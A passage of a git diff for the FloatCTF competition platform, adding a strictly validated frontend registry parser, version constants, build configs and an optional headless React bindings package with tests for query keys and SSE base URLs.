+/** 单个前端 ID。 */ +export interface FloatCTFRegistryFrontend { + id: string; + /** 显式当前版本指针;必须存在于 `versions` 中。 */ + currentVersion: string; + /** `default` 前端为 true:常规前端管理不得移除。 */ + protected: boolean; + versions: Record; +} + +export interface FloatCTFRegistry { + schemaVersion: number; + updatedAt: string; + frontends: Record; +} + +export type RegistryParseResult = + | { ok: true; registry: FloatCTFRegistry } + | { ok: false; errors: string[] }; + +/** + * 公开注册表的**允许字段**(严格白名单)。 + * + * `$FLOATCTF_HOME/frontends/` 由 Caddy 以只读方式**公开**提供 + * (`/__floatctf/frontends/registry.json`,无鉴权),因此这里必须 fail-closed: + * 任何非公开字段(历史遗留的 `source`、本地路径、Git URL、凭据、临时目录……) + * 都必须让注册表**校验失败**,而不是被静默忽略后继续提供出去。 + */ +const REGISTRY_ROOT_KEYS = new Set(["schemaVersion", "updatedAt", "frontends"]); +const REGISTRY_FRONTEND_KEYS = new Set([ + "id", + "currentVersion", + "protected", + "versions", +]); +const REGISTRY_VERSION_KEYS = new Set([ + "version", + "name", + "description", + "author", + "compatibility", + "entry", + "styles", + "installedAt", +]); +const REGISTRY_COMPATIBILITY_KEYS = new Set(["frontendRuntime", "apiContract", "sdk"]); + +function collectUnknownKeys( + label: string, + value: Record, + allowed: Set, + errors: string[], +): void { + for (const key of Object.keys(value)) { + if (!allowed.has(key)) { + errors.push(`${label}: unknown field \`${key}\``); + } + } +} + +function isPlainObject(value: unknown): value is Record { + return typeof value === "object" && value !== null && !Array.isArray(value); +} + +function parseVersionEntry( + id: string, + version: string, + raw: unknown, + errors: string[], +): FloatCTFRegistryVersion | null { + const localErrors: string[] = []; + const push = (message: string) => { + localErrors.push(message); + errors.push(message); + }; + + if (!isPlainObject(raw)) { + push(`registry: frontends.${id}.versions.${version} must be an object`); + return null; + } + collectUnknownKeys( + `registry: frontends.${id}.versions.${version}`, + raw, + REGISTRY_VERSION_KEYS, + errors, + ); + if (raw.version !== version) { + push( + `registry: frontends.${id}.versions.${version}.version=${JSON.stringify(raw.version)} does not match its key`, + ); + } + if (!isValidSemver(version)) { + push(`registry: frontends.${id}.versions key ${version} is not valid semver`); + } + if (typeof raw.name !== "string" || raw.name.trim().length === 0) { + push(`registry: frontends.${id}.versions.${version}.name must be a non-empty string`); + } + + const entryCheck = checkRelativeAssetPath(raw.entry); + if (!entryCheck.ok) { + push(`registry: frontends.${id}.versions.${version}.entry: ${entryCheck.reason}`); + } + + const styles: string[] = []; + if (raw.styles !== undefined) { + if (!Array.isArray(raw.styles)) { + push(`registry: frontends.${id}.versions.${version}.styles must be an array`); + } else { + raw.styles.forEach((style, index) => { + const styleCheck = checkRelativeAssetPath(style); + if (!styleCheck.ok) { + push( + `registry: frontends.${id}.versions.${version}.styles[${index}]: ${styleCheck.reason}`, + ); + } else { + styles.push(style as string); + } + }); + } + } + + let compatibility: FloatCTFFrontendCompatibility | null = null; + if (!isPlainObject(raw.compatibility)) { + push( + `registry: frontends.${id}.versions.${version}.compatibility must be an object`, + ); + } else { + collectUnknownKeys( + `registry: frontends.${id}.versions.${version}.compatibility`, + raw.compatibility, + REGISTRY_COMPATIBILITY_KEYS, + errors, + ); + const { frontendRuntime, apiContract, sdk } = raw.compatibility; + if (typeof frontendRuntime !== "string" || typeof apiContract !== "string") { + push( + `registry: frontends.${id}.versions.${version}.compatibility must declare frontendRuntime and apiContract`, + ); + } else { + compatibility = { + frontendRuntime, + apiContract, + ...(typeof sdk === "string" ? { sdk } : {}), + }; + } + } + + if (typeof raw.installedAt !== "string" || raw.installedAt.length === 0) { + push(`registry: frontends.${id}.versions.${version}.installedAt must be a string`); + } + + if (localErrors.length > 0 || !compatibility) { + return null; + } + + return { + version, + name: raw.name as string, + ...(typeof raw.description === "string" ? { description: raw.description } : {}), + ...(typeof raw.author === "string" ? { author: raw.author } : {}), + compatibility, + entry: raw.entry as string, + styles, + installedAt: raw.installedAt as string, + }; +} + +/** + * 严格解析并校验注册表。任何一项校验失败都返回 `ok:false` 与全部错误 + * (而不是"跳过坏条目继续"——坏注册表必须显式可见,否则会出现 + * "某个前端突然消失"这类无法定位的故障)。 + */ +export function parseRegistry( + input: unknown, + options: { registrySchemaVersion?: number } = {}, +): RegistryParseResult { + const expectedSchema = + options.registrySchemaVersion ?? FRONTEND_REGISTRY_SCHEMA_VERSION; + + let raw: unknown = input; + if (typeof input === "string") { + try { + raw = JSON.parse(input); + } catch (error) { + return { ok: false, errors: [`registry.json is not valid JSON: ${String(error)}`] }; + } + } + if (!isPlainObject(raw)) { + return { ok: false, errors: ["registry.json must be a JSON object"] }; + } + + const errors: string[] = []; + + collectUnknownKeys("registry.json", raw, REGISTRY_ROOT_KEYS, errors); + + if (raw.schemaVersion !== expectedSchema) { + errors.push( + `registry.json: unsupported schemaVersion ${JSON.stringify(raw.schemaVersion)} (expected ${expectedSchema})`, + ); + } + if (typeof raw.updatedAt !== "string" || raw.updatedAt.length === 0) { + errors.push("registry.json: updatedAt must be a string"); + } + if (!isPlainObject(raw.frontends)) { + errors.push("registry.json: frontends must be an object"); + return { ok: false, errors }; + } + + const frontends: Record = {}; + + for (const [id, rawFrontend] of Object.entries(raw.frontends)) { + if (!isSafeFrontendId(id)) { + errors.push(`registry.json: frontend id \`${id}\` is not a safe id`); + continue; + } + if (!isPlainObject(rawFrontend)) { + errors.push(`registry.json: frontends.${id} must be an object`); + continue; + } + if (rawFrontend.id !== undefined && rawFrontend.id !== id) { + errors.push( + `registry.json: frontends.${id}.id=${JSON.stringify(rawFrontend.id)} does not match its key`, + ); + } + collectUnknownKeys( + `registry.json: frontends.${id}`, + rawFrontend, + REGISTRY_FRONTEND_KEYS, + errors, + ); + if (!isPlainObject(rawFrontend.versions)) { + errors.push(`registry.json: frontends.${id}.versions must be an object`); + continue; + } + + const versions: Record = {}; + for (const [version, rawVersion] of Object.entries(rawFrontend.versions)) { + const parsed = parseVersionEntry(id, version, rawVersion, errors); + if (parsed) versions[version] = parsed; + } + if (Object.keys(versions).length === 0) { + errors.push(`registry.json: frontends.${id} has no valid versions`); + continue; + } + + const currentVersion = rawFrontend.currentVersion; + if (typeof currentVersion !== "string" || !(currentVersion in versions)) { + errors.push( + `registry.json: frontends.${id}.currentVersion ${JSON.stringify(currentVersion)} is not an installed version`, + ); + continue; + } + + frontends[id] = { + id, + currentVersion, + protected: rawFrontend.protected === true, + versions, + }; + } + + if (Object.keys(frontends).length === 0) { + errors.push("registry.json: no valid frontends installed"); + } + + if (errors.length > 0) { + return { ok: false, errors }; + } + + return { + ok: true, + registry: { + schemaVersion: expectedSchema, + updatedAt: raw.updatedAt as string, + frontends, + }, + }; +} + +/** 空注册表(首次安装 / 测试基线)。 */ +export function emptyRegistry(now: string): FloatCTFRegistry { + return { + schemaVersion: FRONTEND_REGISTRY_SCHEMA_VERSION, + updatedAt: now, + frontends: {}, + }; +} + +/** + * 注册某个前端的某个版本。 + * + * 与 `scripts/frontend.sh` 的同名语义保持一致: + * - 前端 ID / 版本格式必须合法 + * - **重复版本直接拒绝**(不静默覆盖已安装的不可变资产) + * - 仅当该 ID 尚无 `currentVersion`,或调用方要求 `makeCurrent` 时才移动指针 + */ +export function registerFrontendVersion( + registry: FloatCTFRegistry, + entry: { + id: string; + currentVersion?: string; + protected?: boolean; + version: FloatCTFRegistryVersion; + }, + makeCurrent = false, +): { ok: true; registry: FloatCTFRegistry } | { ok: false; error: string } { + const { id } = entry; + if (!isSafeFrontendId(id)) { + return { ok: false, error: `unsafe frontend id: ${id}` }; + } + if (!isValidSemver(entry.version.version)) { + return { ok: false, error: `invalid semver version: ${entry.version.version}` }; + } + const existing = registry.frontends[id]; + if (existing && entry.version.version in existing.versions) { + return { + ok: false, + error: `frontend ${id} version ${entry.version.version} is already installed`, + }; + } + const versions = { ...(existing?.versions ?? {}), [entry.version.version]: entry.version }; + const currentVersion = + makeCurrent || !existing?.currentVersion + ? entry.version.version + : existing.currentVersion; + return { + ok: true, + registry: { + ...registry, + frontends: { + ...registry.frontends, + [id]: { + id, + currentVersion, + protected: entry.protected ?? existing?.protected ?? false, + versions, + }, + }, + }, + }; +} + +// ── 解析(挑选要加载的前端)────────────────────────────────────────────────── + +export interface ResolvedFrontend { + id: string; + version: string; + name: string; + description?: string; + author?: string; + compatibility: FloatCTFFrontendCompatibility; + /** 入口 ESM 的**同源绝对路径**(已用注册表校验过的相对路径拼成)。 */ + entryUrl: string; + /** 样式表同源绝对路径。 */ + styleUrls: string[]; + /** 制品根目录的同源绝对路径(前端可用于加载自身资产)。 */ + assetBaseUrl: string; +} + +export type ResolveFrontendResult = + | { ok: true; frontend: ResolvedFrontend } + | { ok: false; errors: string[] }; + +export interface ResolveFrontendOptions { + /** 平台设置里的 `FRONTEND_ACTIVE`(前端 ID)。 */ + requestedId: string | null | undefined; + /** 前端资产挂载前缀,默认 `/__floatctf/frontends`。 */ + frontendBaseUrl: string; + frontendRuntimeVersion?: string; + apiContractVersion?: string; +} + +/** + * 从注册表解析要加载的前端。 + * + * 语义: + * - `requestedId` 缺失/非法/未安装 → 失败(调用方负责回退到 `default`) + * - 使用注册表**显式** `currentVersion`,绝不按版本号排序挑选 + * - 逐一校验兼容性(runtime / API contract major) + * - 已校验的相对路径才拼接为同源 URL(不允许跨源 / 穿越) + */ +export function resolveFrontend( + registry: FloatCTFRegistry, + options: ResolveFrontendOptions, +): ResolveFrontendResult { + const runtimeVersion = options.frontendRuntimeVersion ?? FRONTEND_RUNTIME_VERSION; + const apiContract = options.apiContractVersion ?? API_CONTRACT_VERSION; + const baseUrl = options.frontendBaseUrl.replace(/\/+$/, ""); + + const requestedId = options.requestedId; + if (typeof requestedId !== "string" || !isSafeFrontendId(requestedId)) { + return { + ok: false, + errors: [`active frontend id ${JSON.stringify(requestedId)} is not a safe frontend id`], + }; + } + + const frontend = registry.frontends[requestedId]; + if (!frontend) { + return { ok: false, errors: [`frontend \`${requestedId}\` is not installed`] }; + } + + const version = frontend.versions[frontend.currentVersion]; + if (!version) { + return { + ok: false, + errors: [ + `frontend \`${requestedId}\` currentVersion ${frontend.currentVersion} is not installed`, + ], + }; + } + + const errors: string[] = []; + if (!isMajorCompatible(version.compatibility.frontendRuntime, runtimeVersion)) { + errors.push( + `frontend \`${requestedId}\` requires frontend runtime ${version.compatibility.frontendRuntime} (platform runtime is ${runtimeVersion})`, + ); + } + if (!isMajorCompatible(version.compatibility.apiContract, apiContract)) { + errors.push( + `frontend \`${requestedId}\` requires API contract ${version.compatibility.apiContract} (platform contract is ${apiContract})`, + ); + } + + const entryCheck = checkRelativeAssetPath(version.entry); + if (!entryCheck.ok) { + errors.push(`frontend \`${requestedId}\` entry: ${entryCheck.reason}`); + } + for (const [index, style] of version.styles.entries()) { + const styleCheck = checkRelativeAssetPath(style); + if (!styleCheck.ok) { + errors.push(`frontend \`${requestedId}\` styles[${index}]: ${styleCheck.reason}`); + } + } + + if (errors.length > 0) return { ok: false, errors }; + + const assetBaseUrl = joinUrlPath(baseUrl, requestedId, version.version); + return { + ok: true, + frontend: { + id: requestedId, + version: version.version, + name: version.name, + ...(version.description !== undefined ? { description: version.description } : {}), + ...(version.author !== undefined ? { author: version.author } : {}), + compatibility: version.compatibility, + entryUrl: joinUrlPath(assetBaseUrl, version.entry), + styleUrls: version.styles.map((style) => joinUrlPath(assetBaseUrl, style)), + assetBaseUrl, + }, + }; +} + +/** 已安装前端 ID 列表(用于管理端选择器 / `?frontend=` 白名单)。 */ +export function listFrontendIds(registry: FloatCTFRegistry): string[] { + return Object.keys(registry.frontends).sort(); +} diff --git a/packages/frontend-runtime/src/version.ts b/packages/frontend-runtime/src/version.ts new file mode 100644 index 00000000..b566b37f --- /dev/null +++ b/packages/frontend-runtime/src/version.ts @@ -0,0 +1,38 @@ +/** + * FloatCTF 前端平台契约版本(三个互相独立的版本概念,禁止合并成一个变量): + * + * | 常量 | 含义 | 变更触发条件 | + * |------|------|--------------| + * | `FRONTEND_RUNTIME_VERSION` | 前端运行时 / 制品契约的 major | 破坏 `frontend.json` 或 `mount(context)` 契约 | + * | `API_CONTRACT_VERSION` | 对外 HTTP API 契约的 major | 破坏前端可见的 API(删字段 / 改语义) | + * | `FRONTEND_REGISTRY_SCHEMA_VERSION` | 本地注册表 `registry.json` 的 schema major | 注册表结构不兼容变更 | + * + * 平台自身包版本(`1.0.0`)与以上三者无关,不要互相推导。 + */ + +/** 前端运行时契约 major;前端 `compatibility.frontendRuntime` 必须与之相等。 */ +export const FRONTEND_RUNTIME_VERSION = "1"; + +/** 对外 HTTP API 契约 major;前端 `compatibility.apiContract` 必须与之相等。 */ +export const API_CONTRACT_VERSION = "1"; + +/** 本地前端注册表 `registry.json` 的 schema 版本。 */ +export const FRONTEND_REGISTRY_SCHEMA_VERSION = 1; + +/** 单个前端制品 `frontend.json`(manifest 文档)的 schema 版本。 */ +export const FRONTEND_MANIFEST_SCHEMA_VERSION = 1; + +/** 当前前端运行时版本(含 minor/patch,仅用于诊断展示)。 */ +export const FRONTEND_RUNTIME_FULL_VERSION = "1.0.0"; + +/** 生产环境前端资产默认挂载前缀(与 Caddy 配置一致)。 */ +export const DEFAULT_FRONTEND_BASE_URL = "/__floatctf/frontends"; + +/** 默认注册表 URL(同源静态文件,非永久缓存)。 */ +export const DEFAULT_REGISTRY_URL = `${DEFAULT_FRONTEND_BASE_URL}/registry.json`; + +/** 默认 API base URL。 */ +export const DEFAULT_API_BASE_URL = "/api"; + +/** 兜底前端 ID:始终随平台发布、不可删除。 */ +export const DEFAULT_FRONTEND_ID = "default"; diff --git a/packages/frontend-runtime/tsconfig.build.json b/packages/frontend-runtime/tsconfig.build.json new file mode 100644 index 00000000..17d8d8f4 --- /dev/null +++ b/packages/frontend-runtime/tsconfig.build.json @@ -0,0 +1,10 @@ +{ + "extends": "./tsconfig.json", + "compilerOptions": { + "noEmit": false, + "outDir": "./dist", + "rootDir": "./src", + "types": [] + }, + "exclude": ["src/**/__tests__/**", "src/**/*.test.ts"] +} diff --git a/packages/frontend-runtime/tsconfig.json b/packages/frontend-runtime/tsconfig.json new file mode 100644 index 00000000..08be30b5 --- /dev/null +++ b/packages/frontend-runtime/tsconfig.json @@ -0,0 +1,21 @@ +{ + "compilerOptions": { + "target": "ES2022", + "module": "ESNext", + "moduleResolution": "bundler", + "lib": ["ES2022", "DOM", "DOM.Iterable"], + "types": [], + "strict": true, + "skipLibCheck": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "noFallthroughCasesInSwitch": true, + "verbatimModuleSyntax": true, + "isolatedModules": true, + "declaration": true, + "declarationMap": true, + "sourceMap": true, + "noEmit": true + }, + "include": ["src/**/*.ts"] +} diff --git a/packages/frontend-runtime/vitest.config.ts b/packages/frontend-runtime/vitest.config.ts new file mode 100644 index 00000000..933ab975 --- /dev/null +++ b/packages/frontend-runtime/vitest.config.ts @@ -0,0 +1,10 @@ +import { defineConfig } from "vitest/config"; + +export default defineConfig({ + test: { + environment: "jsdom", + include: ["src/**/*.test.ts"], + // 契约/校验测试是纯逻辑,不需要网络与真实浏览器。 + passWithNoTests: false, + }, +}); diff --git a/packages/react/README.md b/packages/react/README.md new file mode 100644 index 00000000..d75367c7 --- /dev/null +++ b/packages/react/README.md @@ -0,0 +1,61 @@ +# @floatctf/react + +**Optional** headless React bindings for FloatCTF. A non-React frontend never needs this +package — it talks to `@floatctf/sdk` directly. + +It contains **no UI**: no components, no Primer, no Tailwind, no CSS, no routes, no pages, +no navigation, no dialogs. Hooks return data / actions / state, never JSX. + +## Usage + +```ts +import { createFloatCTFReact } from "@floatctf/react"; +import { createFloatCTFClient } from "@floatctf/sdk"; + +const client = createFloatCTFClient({ + baseUrl: "/api", + getUserToken: () => myStore.getState().token, + getAdminToken: () => myStore.getState().adminToken, +}); + +export const { + // realtime: fetch-based SSE + polling fallback + React Query invalidation. + // SSE URLs are derived from the client you passed in: + // useAwdEventStream / useAwdpEventStream / useAwdpRunStream → client.baseUrl + // useAdminAwdEventStream → client.adminBaseUrl + // so REST and realtime always hit the same configured origin (works with an + // absolute cross-origin baseUrl such as "http://127.0.0.1:17780/api"). + useAwdEventStream, + useAdminAwdEventStream, + useAwdpEventStream, + useAwdpRunStream, + // query option factories (keys identical to the pre-split frontend) + eventInfoQueryOptions, + challengeQueryOptions, + challengeInstanceQueryOptions, + systemInformationQueryOptions, + // shared invalidation helpers + invalidateAwdQueries, + AWD_PLAYER_QUERY_KEYS, + AWD_ADMIN_QUERY_KEYS, +} = createFloatCTFReact({ + client, + // Auth storage stays frontend-owned: hand over your own selectors. + useUserToken: () => useAuthStore((s) => s.token), + useAdminToken: () => useAuthStore((s) => s.adminToken), +}); +``` + +| Exported | Kind | +|---|---| +| `createFloatCTFReact` | factory binding a client + token selectors | +| `useAwdEventStream` etc. | realtime data/state hooks | +| `*QueryOptions` | TanStack Query option factories | +| `invalidateAwdQueries`, `AWD_*_QUERY_KEYS` | pure invalidation helpers | +| `UseTokenSource` | the injected token-hook type | + +Peer dependencies: `react`, `@tanstack/react-query`. + +Non-React frontends (Vue, Svelte, Solid, vanilla TypeScript) implement the same +`mount(context)` contract from `@floatctf/frontend-runtime` and use `@floatctf/sdk` +directly. See [`docs/frontend/DEVELOPING.md`](../../docs/frontend/DEVELOPING.md). diff --git a/packages/react/biome.json b/packages/react/biome.json new file mode 100644 index 00000000..2e7998fa --- /dev/null +++ b/packages/react/biome.json @@ -0,0 +1,34 @@ +{ + "$schema": "https://biomejs.dev/schemas/1.9.4/schema.json", + "vcs": { + "enabled": false, + "clientKind": "git", + "useIgnoreFile": false + }, + "files": { + "ignoreUnknown": false, + "ignore": ["dist", "src/entity"], + "include": ["src/*", "vitest.config.ts", "tsconfig*.json", "README.md"] + }, + "formatter": { + "enabled": true, + "indentStyle": "tab" + }, + "organizeImports": { + "enabled": true + }, + "linter": { + "enabled": true, + "rules": { + "recommended": true, + "suspicious": { + "noConsole": "off" + } + } + }, + "javascript": { + "formatter": { + "quoteStyle": "double" + } + } +} diff --git a/packages/react/package.json b/packages/react/package.json new file mode 100644 index 00000000..19535366 --- /dev/null +++ b/packages/react/package.json @@ -0,0 +1,48 @@ +{ + "name": "@floatctf/react", + "version": "1.0.0", + "description": "Optional headless React bindings for FloatCTF (query factories, SSE hooks) — no UI, no Primer, no routes", + "license": "AGPL-3.0-only", + "type": "module", + "sideEffects": false, + "main": "./dist/index.js", + "types": "./dist/index.d.ts", + "exports": { + ".": { + "types": "./dist/index.d.ts", + "import": "./dist/index.js" + }, + "./package.json": "./package.json" + }, + "files": ["dist", "README.md"], + "scripts": { + "build": "tsc -p tsconfig.build.json", + "dev": "tsc -p tsconfig.build.json --watch --preserveWatchOutput", + "test": "vitest run", + "lint": "biome lint src", + "typecheck": "tsc -p tsconfig.build.json --noEmit" + }, + "dependencies": { + "@floatctf/sdk": "workspace:*" + }, + "peerDependencies": { + "@tanstack/react-query": "^5.66.5", + "react": "^19.0.0" + }, + "devDependencies": { + "@biomejs/biome": "1.9.4", + "@tanstack/react-query": "^5.66.5", + "@testing-library/react": "^16.2.0", + "@types/react": "^19.0.8", + "@types/react-dom": "^19.0.3", + "@vitejs/plugin-react": "^4.3.4", + "jsdom": "^26.0.0", + "react": "^19.0.0", + "react-dom": "^19.0.0", + "typescript": "^5.7.2", + "vitest": "^3.0.5" + }, + "publishConfig": { + "access": "public" + } +} diff --git a/apps/web/src/hooks/__tests__/awdInvalidation.test.ts b/packages/react/src/__tests__/awdInvalidation.test.ts similarity index 100% rename from apps/web/src/hooks/__tests__/awdInvalidation.test.ts rename to packages/react/src/__tests__/awdInvalidation.test.ts diff --git a/packages/react/src/__tests__/query-keys.test.ts b/packages/react/src/__tests__/query-keys.test.ts new file mode 100644 index 00000000..5e90d91e --- /dev/null +++ b/packages/react/src/__tests__/query-keys.test.ts @@ -0,0 +1,51 @@ +// query options 工厂必须保持与原先 useQuery 完全相同的 query key, +// 因为既有代码按 key 做 invalidate/refetch(例如 useAwdEventStream.invalidateQueries)。 +import type { FloatCTFClient } from "@floatctf/sdk"; +import { describe, expect, it } from "vitest"; + +import { createQueryFactories } from "../queries/index"; + +/** 只用 key 的工厂不需要真的发请求:给一个最小可用的假客户端即可。 */ +function fakeClient(): FloatCTFClient { + return { + service: { + events: { get: async () => ({ code: 0, message: "ok" }) }, + challenges: { + get: async () => ({ code: 0, message: "ok" }), + getInstance: async () => ({ code: 0, message: "ok" }), + }, + }, + admin: { system: { monitor: async () => ({ code: 0, message: "ok" }) } }, + } as unknown as FloatCTFClient; +} + +const factories = createQueryFactories(fakeClient()); + +describe("query options factory keys", () => { + it("eventInfo keeps key ['eventInfo', id]", () => { + expect(factories.eventInfoQueryOptions("abc-123").queryKey).toEqual([ + "eventInfo", + "abc-123", + ]); + }); + + it("challenge keeps key ['challenge', id]", () => { + expect(factories.challengeQueryOptions("abc-123").queryKey).toEqual([ + "challenge", + "abc-123", + ]); + }); + + it("instance keeps key ['instance', id]", () => { + expect(factories.challengeInstanceQueryOptions("abc-123").queryKey).toEqual([ + "instance", + "abc-123", + ]); + }); + + it("system_information keeps key ['system_information']", () => { + expect(factories.systemInformationQueryOptions().queryKey).toEqual([ + "system_information", + ]); + }); +}); diff --git a/packages/react/src/__tests__/sse-base-url.test.tsx b/packages/react/src/__tests__/sse-base-url.test.tsx new file mode 100644 index 00000000..055dc868 --- /dev/null +++ b/packages/react/src/__tests__/sse-base-url.test.tsx @@ -0,0 +1,138 @@ +/** + * React SSE hook 的 base URL 契约测试(Phase 12.1 / P0-B)。 + * + * 背景:这些 hook 曾经硬编码 `/api/...`,于是「REST 走配置的 API、SSE 却打前端自己的 + * 源」——外部 React 前端用非默认 base URL(例如 dev server 跨源指向 + * `http://127.0.0.1:17780/api`)时实时通道直接连错地方。 + * + * 这里**不 mock connectSse**:让真实传输跑起来,只 mock 全局 fetch, + * 从而断言最终真正被请求的绝对 URL 与 Authorization 头。 + */ +// @vitest-environment jsdom +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { cleanup, renderHook } from "@testing-library/react"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +import { createFloatCTFClient } from "@floatctf/sdk"; + +import { createUseAdminAwdEventStream } from "../useAdminAwdEventStream"; +import { createUseAwdEventStream } from "../useAwdEventStream"; +import { createUseAwdpEventStream } from "../useAwdpEventStream"; +import { createUseAwdpRunStream } from "../useAwdpRunStream"; + +const API_BASE = "http://127.0.0.1:17780/api"; + +const calls: { url: string; authorization?: string }[] = []; + +/** 一个永不结束的 SSE 响应体:连接保持打开,便于断言请求本身。 */ +function streamingResponse(): Response { + const body = new ReadableStream({ + start(controller) { + controller.enqueue(new TextEncoder().encode(": keep-alive\n\n")); + }, + }); + return new Response(body, { + status: 200, + headers: { "Content-Type": "text/event-stream" }, + }); +} + +function makeClient() { + return createFloatCTFClient({ + baseUrl: API_BASE, + getUserToken: () => "USER_TOKEN", + getAdminToken: () => "ADMIN_TOKEN", + }); +} + +function makeWrapper() { + const qc = new QueryClient({ defaultOptions: { queries: { retry: false } } }); + return ({ children }: { children: React.ReactNode }) => ( + {children} + ); +} + +describe("React SSE hooks honour the supplied client base URL", () => { + beforeEach(() => { + calls.length = 0; + vi.stubGlobal( + "fetch", + vi.fn(async (input: RequestInfo | URL, init?: RequestInit) => { + const headers = (init?.headers ?? {}) as Record; + calls.push({ + url: String(input), + authorization: headers.Authorization, + }); + return streamingResponse(); + }), + ); + }); + + afterEach(() => { + cleanup(); + vi.unstubAllGlobals(); + vi.restoreAllMocks(); + }); + + it("AWD player stream targets the client's player base URL", () => { + const client = makeClient(); + const useStream = createUseAwdEventStream(client, () => "USER_TOKEN"); + const { unmount } = renderHook( + () => useStream({ eventId: "evt-1" }), + { wrapper: makeWrapper() }, + ); + expect(calls[0]?.url).toBe(`${API_BASE}/events/evt-1/awd/stream`); + expect(calls[0]?.authorization).toBe("Bearer USER_TOKEN"); + unmount(); + }); + + it("AWD admin stream targets the client's admin base URL with the admin token", () => { + const client = makeClient(); + const useStream = createUseAdminAwdEventStream(client, () => "ADMIN_TOKEN"); + const { unmount } = renderHook( + () => useStream({ eventId: "evt-2" }), + { wrapper: makeWrapper() }, + ); + expect(calls[0]?.url).toBe(`${API_BASE}/admin/events/evt-2/awd/stream`); + expect(calls[0]?.authorization).toBe("Bearer ADMIN_TOKEN"); + unmount(); + }); + + it("AWDP event stream targets the client's player base URL", () => { + const client = makeClient(); + const useStream = createUseAwdpEventStream(client, () => "USER_TOKEN"); + const { unmount } = renderHook( + () => useStream({ eventId: "evt-3" }), + { wrapper: makeWrapper() }, + ); + expect(calls[0]?.url).toBe(`${API_BASE}/events/evt-3/awdp/stream`); + expect(calls[0]?.authorization).toBe("Bearer USER_TOKEN"); + unmount(); + }); + + it("AWDP run stream targets the client's player base URL", () => { + const client = makeClient(); + const useStream = createUseAwdpRunStream(client, () => "USER_TOKEN"); + const { unmount } = renderHook( + () => useStream({ runId: "run-9" }), + { wrapper: makeWrapper() }, + ); + expect(calls[0]?.url).toBe(`${API_BASE}/service/awdp/runs/run-9/stream`); + expect(calls[0]?.authorization).toBe("Bearer USER_TOKEN"); + unmount(); + }); + + it("never hardcodes /api when the client uses a different origin", () => { + const client = createFloatCTFClient({ + baseUrl: "https://ctf.example/api", + getUserToken: () => "USER_TOKEN", + }); + const useStream = createUseAwdEventStream(client, () => "USER_TOKEN"); + const { unmount } = renderHook( + () => useStream({ eventId: "evt-4" }), + { wrapper: makeWrapper() }, + ); + expect(calls[0]?.url).toBe("https://ctf.example/api/events/evt-4/awd/stream"); + unmount(); + }); +}); diff --git a/apps/web/src/hooks/__tests__/useAwdEventStream.test.tsx b/packages/react/src/__tests__/useAwdEventStream.test.tsx similarity index 80% rename from apps/web/src/hooks/__tests__/useAwdEventStream.test.tsx rename to packages/react/src/__tests__/useAwdEventStream.test.tsx index b77b3fc8..bacc2b13 100644 --- a/apps/web/src/hooks/__tests__/useAwdEventStream.test.tsx +++ b/packages/react/src/__tests__/useAwdEventStream.test.tsx @@ -12,41 +12,50 @@ // @vitest-environment jsdom import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; import { act, cleanup, renderHook } from "@testing-library/react"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { + type MockInstance, + afterEach, + beforeEach, + describe, + expect, + it, + vi, +} from "vitest"; import type { SseConnection, SseConnectionState, SseConnectionStatus, -} from "@/lib/sse"; +} from "@floatctf/sdk"; -import { useAwdEventStream } from "../useAwdEventStream"; +import { createFloatCTFClient } from "@floatctf/sdk"; -// ── mocks ──────────────────────────────────────────────────────────────────── - -// vi.hoisted:mock 工厂在模块导入期执行,必须先于 const 声明初始化。 -const { mockConnectSse } = vi.hoisted(() => ({ mockConnectSse: vi.fn() })); +import { createUseAwdEventStream } from "../useAwdEventStream"; -vi.mock("@/stores/AuthStore", () => ({ - useAuthStore: (selector: (s: unknown) => unknown) => - selector({ token: "test-token", adminToken: null }), -})); +// ── mocks ──────────────────────────────────────────────────────────────────── type OnStateChange = (status: SseConnectionStatus) => void; -vi.mock("@/lib/sse", () => ({ - connectSse: (options: import("@/lib/sse").ConnectSseOptions) => - mockConnectSse(options), -})); +// hook 现在通过**客户端自己的** sse.connect 建连(P0-B):spy 它即可拿到最终选项。 +const client = createFloatCTFClient({ + baseUrl: "/api", + getUserToken: () => "test-token", +}); +// 每个用例重建 spy:`vi.restoreAllMocks()` 会还原对象方法,模块级 spy 只会生效一次。 +let mockConnectSse: MockInstance; + +// 令牌来源由前端注入 —— 这里换成测试专用的固定 hook。 +const useTestToken = () => "test-token"; +const useAwdEventStream = createUseAwdEventStream(client, useTestToken); // 捕获最近一次 connectSse 调用(含 onStateChange / close)。 function lastConnect(): { - options: import("@/lib/sse").ConnectSseOptions; + options: { url: string; getToken?: () => string | null }; close: ReturnType; status: { state: SseConnectionState }; } { const options = mockConnectSse.mock.calls.at(-1)?.[0]; - if (!options) throw new Error("connectSse was not called"); + if (!options) throw new Error("client.sse.connect was not called"); return { options, close: vi.fn(), @@ -78,9 +87,9 @@ function makeWrapper() { describe("useAwdEventStream reconnect fallback", () => { beforeEach(() => { vi.useFakeTimers(); - mockConnectSse.mockReset(); + mockConnectSse = vi.spyOn(client.sse, "connect"); mockConnectSse.mockImplementation( - (options: import("@/lib/sse").ConnectSseOptions) => { + (options: import("@floatctf/sdk").FloatCTFSseOptions) => { const conn: SseConnection = { close: () => { // 模拟 close():同步触发 abort 语义 @@ -184,7 +193,7 @@ describe("useAwdEventStream reconnect fallback", () => { unmount(); }); - it("Bearer token is passed via getToken and never in URL", () => { + it("passes a base-relative URL plus the token getter to the client transport", () => { const { wrapper } = makeWrapper(); const { unmount } = renderHook( () => useAwdEventStream({ eventId: "evt-1" }), @@ -192,7 +201,8 @@ describe("useAwdEventStream reconnect fallback", () => { ); const conn = lastConnect(); - expect(conn.options.url).toBe("/api/events/evt-1/awd/stream"); + // 相对路径:绝对的 /api 前缀由客户端自己的 base URL 决定(见 sse-base-url.test.tsx) + expect(conn.options.url).toBe("/events/evt-1/awd/stream"); expect(conn.options.url).not.toContain("token"); expect(conn.options.getToken?.()).toBe("test-token"); // headers 由 connectSse 内部构建(buildHeaders),getToken 语义覆盖。 diff --git a/apps/web/src/hooks/awdInvalidation.ts b/packages/react/src/awdInvalidation.ts similarity index 100% rename from apps/web/src/hooks/awdInvalidation.ts rename to packages/react/src/awdInvalidation.ts diff --git a/packages/react/src/index.ts b/packages/react/src/index.ts new file mode 100644 index 00000000..28f34c07 --- /dev/null +++ b/packages/react/src/index.ts @@ -0,0 +1,81 @@ +/** + * `@floatctf/react` —— FloatCTF 的**可选** React headless 绑定。 + * + * 边界(必须严格遵守): 